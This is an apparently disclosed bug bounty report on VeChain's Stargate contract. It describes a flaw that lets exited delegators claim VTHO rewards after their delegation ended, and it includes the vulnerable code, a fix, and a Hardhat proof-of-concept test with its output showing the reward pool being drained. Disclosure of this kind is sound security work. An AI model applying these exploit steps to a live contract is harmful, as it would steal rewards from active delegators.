Status DataClose notification

VeChain Disclosed Report

Audit Report

Logic flaw in `_claimableDelegationPeriods()` allows unlocked NFTs (exited delegators) to steal VTHO token rewards from active delegators

Target

Target is hidden

This information is not publicly available.

Vulnerability details

Brief/Intro

The _claimableDelegationPeriods() function determines which periods a delegator can claim rewards for. The problem is that this function does not properly validate whether a delegation has ended and all rewards are claimed. As a result, delegators who have exited their delegation (unlocked their NFT) can claim VTHO rewards for periods where they were not actively delegating, directly stealing from active delegators. This theft drains the VTHO reward pool, which causes active delegators' claims to fail due to insufficient funds.

Vulnerability Details

The _claimableDelegationPeriods() function in Stargate.sol has two conditional checks but is missing a critical validation for ended delegations that have claimed all their legitimate rewards:

function _claimableDelegationPeriods(...) returns (uint32, uint32) {
    uint32 nextClaimablePeriod = $.lastClaimedPeriod[_tokenId] + 1;
    
    // First check: For ended delegations with remaining claimable periods
    if (endPeriod != type(uint32).max && 
        endPeriod < currentValidatorPeriod && 
        endPeriod > nextClaimablePeriod) {
        return (nextClaimablePeriod, endPeriod);
    }
    
    // ⚠️ MISSING: Check if delegation ended and all rewards claimed
    
    // Second check: Assumes active delegation
    if (nextClaimablePeriod < currentValidatorPeriod) {
        return (nextClaimablePeriod, completedPeriods);  // ❌ Returns wrong periods
    }
    
    return (0, 0);
}

When a delegator exits their delegation via requestDelegationExit(), the endPeriod is set. After claiming all legitimate rewards, nextClaimablePeriod (which is lastClaimedPeriod + 1) exceeds endPeriod. Now whenever the exited delegator calls claimRewards(), the first check will always fail (because endPeriod > nextClaimablePeriod is false), but there's no check to verify the delegation has ended and all rewards have been claimed. The function then proceeds to the second check which incorrectly returns (nextClaimablePeriod, completedPeriods) instead of (0, 0), allowing the exited delegator to steal VTHO rewards from active delegators for periods where they were not delegating.

Impact Details

Exited delegators can steal VTHO rewards from active delegators for periods where they are not delegating. This theft can cause active delegators' reward claims to fail due to insufficient funds in the contract.

Any exited delegator can execute this attack repeatedly. Multiple exited delegators can exploit simultaneously, compounding the theft from active delegators. The exploiters drain the reward pool, causing active delegators' transactions to revert with insufficient balance errors when attempting to claim their rightful rewards.

This violates the protocol's core rule: "when the NFT is unlocked, it does not generate rewards."

Recommended Fix

Add a validation check in the _claimableDelegationPeriods() function here to detect when a delegation has ended and all rewards have been claimed:

function _claimableDelegationPeriods(...) returns (uint32, uint32) {
    uint32 nextClaimablePeriod = $.lastClaimedPeriod[_tokenId] + 1;
    
    // First check: For ended delegations with remaining claimable periods
    if (endPeriod != type(uint32).max && 
        endPeriod < currentValidatorPeriod && 
        endPeriod > nextClaimablePeriod) {
        return (nextClaimablePeriod, endPeriod);
    }
    
    // ✅ FIX: Check if delegation ended and all rewards claimed
    if (endPeriod != type(uint32).max && endPeriod <= nextClaimablePeriod) {
        return (0, 0);  // No more rewards to claim
    }
    
    // Second check: For active delegations
    if (nextClaimablePeriod < currentValidatorPeriod) {
        return (nextClaimablePeriod, completedPeriods);
    }
    
    return (0, 0);
}

This fix ensures that once a delegation has ended (endPeriod is set) and all rewards up to endPeriod have been claimed (endPeriod <= nextClaimablePeriod), the function returns (0, 0) instead of incorrectly allowing claims for periods after the delegation ended.

References

Validation steps

Proof of Concept

The following test demonstrates the vulnerability where an exited delegator steals VTHO, causing an active delegator's claim to fail due to insufficient funds.

Test Location: Add test to file packages/contracts/test/unit/Stargate/Rewards.test.ts

Run test:

cd packages/contracts
VITE_APP_ENV=local VERBOSE=true npm run test:hardhat -- --grep "VULNERABILITY EXPLOIT: User can actually steal rewards when effective stake exists"

Test code:

it("VULNERABILITY EXPLOIT: User can actually steal rewards when effective stake exists", async () => {
    // Set maxClaimablePeriods to 20
    tx = await stargateContract.setMaxClaimablePeriods(20);
    await tx.wait();
    
    // Reset contract VTHO balance in order to fund the contract with 1 VTHO for rewards for the 10 periods
    const stargateAddr = await stargateContract.getAddress();
    const vthoAddr = await vthoTokenContract.getAddress();
    const vthoSlot = ethers.keccak256(
        ethers.AbiCoder.defaultAbiCoder().encode(["address", "uint256"], [stargateAddr, 0])
    );
    await ethers.provider.send("hardhat_setStorageAt", [vthoAddr, vthoSlot, ethers.toBeHex(0, 32)]);
    
    // Fund with 1 VTHO for rewards
    const fundAmount = 10n ** 18n;
    tx = await vthoTokenContract.mint(deployer.address, fundAmount);
    await tx.wait();
    tx = await vthoTokenContract.transfer(stargateAddr, fundAmount);
    await tx.wait();
    
    // Setup: Both users stake and delegate
    const levelSpec = await stargateNFTMock.getLevel(LEVEL_ID);
    
    tx = await stargateContract.connect(user).stake(LEVEL_ID, { value: levelSpec.vetAmountRequiredToStake });
    await tx.wait();
    const tokenId1 = await stargateNFTMock.getCurrentTokenId();
    tx = await stargateContract.connect(user).delegate(tokenId1, validator.address);
    await tx.wait();
    
    tx = await stargateContract.connect(otherUser).stake(LEVEL_ID, { value: levelSpec.vetAmountRequiredToStake });
    await tx.wait();
    const tokenId2 = await stargateNFTMock.getCurrentTokenId();
    tx = await stargateContract.connect(otherUser).delegate(tokenId2, validator.address);
    await tx.wait();
    
    const delegationId = await stargateContract.getDelegationIdOfToken(tokenId1);
    const [startPeriod] = await protocolStakerMock.getDelegationPeriodDetails(delegationId);
    log(`✅ User1 & User2 staked and delegated (starting period: ${startPeriod})`);

    // User1 exits at period 6
    tx = await protocolStakerMock.helper__setValidationCompletedPeriods(validator.address, 5);
    await tx.wait();
    tx = await stargateContract.connect(user).requestDelegationExit(tokenId1);
    await tx.wait();
    
    const delegationId1 = await stargateContract.getDelegationIdOfToken(tokenId1);
    const [, endPeriod] = await protocolStakerMock.getDelegationPeriodDetails(delegationId1);
    
    // Complete exit and User1 claims legitimate rewards
    tx = await protocolStakerMock.helper__setValidationCompletedPeriods(validator.address, Number(endPeriod));
    await tx.wait();
    const [firstClaimable, lastClaimable] = await stargateContract.claimableDelegationPeriods(tokenId1);
    tx = await stargateContract.connect(user).claimRewards(tokenId1);
    await tx.wait();
    log(`✅ User1 exited at period ${endPeriod} and claimed legitimate rewards for periods: ${firstClaimable} to ${lastClaimable}`);

    // User2 continues delegating for 5 MORE periods (User1's NFT is unlocked)
    tx = await protocolStakerMock.helper__setValidationCompletedPeriods(validator.address, Number(endPeriod) + 5);
    await tx.wait();
    log(`\n🚨 5 more periods completed since User1 exited (should earn nothing for these periods)`);

    // THE EXPLOIT: User1 claims for periods after their delegation ended
    const [first, last] = await stargateContract.claimableDelegationPeriods(tokenId1);
    log(`❌ User1 claimable periods: (${first}, ${last}) ← Should be (0, 0)!`);
    
    const user1BalBefore = await vthoTokenContract.balanceOf(user.address);
    tx = await stargateContract.connect(user).claimRewards(tokenId1);
    await tx.wait();
    const stolen = (await vthoTokenContract.balanceOf(user.address)) - user1BalBefore;
    log(`💰 User1 stole: ${(Number(stolen) / 1e18).toFixed(2)} VTHO for periods ${first}-${last}`);
    
    // CRITICAL IMPACT: User2 cannot claim due to insufficient funds
    const contractBalance = await vthoTokenContract.balanceOf(stargateAddr);
    const user2Claimable = await stargateContract["claimableRewards(uint256)"](tokenId2);
    
    log(`\n📊 IMPACT:`);
    log(`   - User2 legitimate claimable rewards: ${(Number(user2Claimable) / 1e18).toFixed(2)} VTHO`);
    log(`   - Contract balance: ${(Number(contractBalance) / 1e18).toFixed(2)} VTHO`);
    log(`   - Shortfall: ${(Number(user2Claimable - contractBalance) / 1e18).toFixed(2)} VTHO`);
    
    // User2's claim will fail
    await expect(stargateContract.connect(otherUser).claimRewards(tokenId2))
        .to.be.revertedWithCustomError(vthoTokenContract, "ERC20InsufficientBalance");
    log(`❌ User2 claim FAILED - User1 stole ${(Number(stolen) / 1e18).toFixed(2)} VTHO, leaving insufficient funds for legitimate claims!\n`);
    
    expect(stolen).to.be.greaterThan(0);
});

Test output:

✅ User1 & User2 staked and delegated (starting period: 2)
✅ User1 exited at period 6 and claimed legitimate rewards for periods: 2 to 6

🚨 5 more periods completed since User1 exited (should earn nothing for these periods)
❌ User1 claimable periods: (7, 11) ← Should be (0, 0)!
💰 User1 stole: 0.50 VTHO for periods 7-11

📊 IMPACT:
   - User2 legitimate claimable rewards: 0.75 VTHO
   - Contract balance: 0.25 VTHO
   - Shortfall: 0.50 VTHO
❌ User2 claim FAILED - User1 stole 0.50 VTHO, leaving insufficient funds for legitimate claims!

Attachments

Attachments are hidden

This information is not publicly available.

Comments are hidden

This information is not publicly available.